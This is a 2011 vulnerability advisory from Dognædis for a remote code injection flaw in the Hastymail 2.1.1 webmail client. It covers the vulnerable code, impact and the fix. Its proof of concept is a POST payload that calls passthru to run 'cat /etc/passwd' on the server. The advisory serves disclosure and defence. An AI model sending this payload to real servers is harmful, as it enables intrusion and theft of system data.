

## RCI Vulnerability in Hastymail (ver. 2.1.1)

**Title:** RCI Vulnerability in Hastymail (ver. 2.1.1)

**Release Date:** 2011/11/22

**Vulnerable Application:** Hastymail (ver. 2.1.1)

**Type:** Remote Code Injection

**Level:** Critical (Low/High/Critical)

**CVSS:** 9 (AV:N/AC:L/Au:N/C:C/I:P/A:P)

**Dognædis Ref.:** DGS-SEC-3

**CVE Ref.:** CVE-2011-4542

**Other Ref.:**

**Discover Credits:** CodeV - Code Analyzer

**Bulletin Author(s):** BTeixeira

**Contact:** irt@dognædis.com

**Nível de Acesso do Documento:** Público

A informação expressa neste documento é propriedade da Dognædis. Pode ser, no entanto, lida, copiada, distribuída, impressa ou acedida por qualquer pessoa ou entidade, desde que os créditos da Dognædis sejam respeitados.

**Document Access Level:** Public

The information expressed in this document is property of Dognædis. Although can be disclosed, distributed, copied, read, used, printed or accessed by anyone, since all the Dognædis credits are respected.

### Overview:

Hastymail2 is a full featured IMAP/SMTP client written in PHP. It's goal is to create a fast, secure, compliant web mail client that has great usability.

### Scope:

**File:** /lib/ajax\_functions.php

**Vulnerable Argument(s):** \$\_POST['rs'] and \$\_POST['rsargs[]']

**Code:**

```
line 44: $result = call_user_func_array($func_name, $args);
```

**Proof(s) of Concept:**

```
GET: http://<app_base>/?page=mailbox&mailbox=Drafts
```

```
POST: rs=passthru&rsargs[]=asd&rsargs[]=cat /etc/passwd
```

### Description:

The referred vulnerability could be exploited through a RCI (Remote Code Injection) attack.

By submitting tampered arguments, it would be possible to lead the web server to execute arbitrary PHP code.

This would allow the attacker to access confidential information stored in any file on the server, or even write into (or delete) those files.

In the worst case, the attacker could take complete control of the web server.

### Impact:

By using this exploit, might be possible to completely compromise the Web Server, only constrained by the Apache User permissions.

### Resolution:

Aiming a correct resolution of the identified vulnerability, the data obtained through the \$\_POST['rs'] and \$\_POST['rsargs[]'] input arguments should be properly validated before any kind of usage.

### Official Solution:

Users are recommended to upgrade to the newer version (v2.1.1-RC2), which is available in the application website.

### External References:

[https://www.owasp.org/index.php/Code\\_Injection](https://www.owasp.org/index.php/Code_Injection)

[http://www.theserverpages.com/articles/webmasters/php/security/Code\\_Injection\\_Vulnerabilities\\_Explained.html](http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html)

[http://en.wikipedia.org/wiki/Code\\_injection](http://en.wikipedia.org/wiki/Code_injection)



DOGNÆDIS

---

TRUSTABLE SOLUTIONS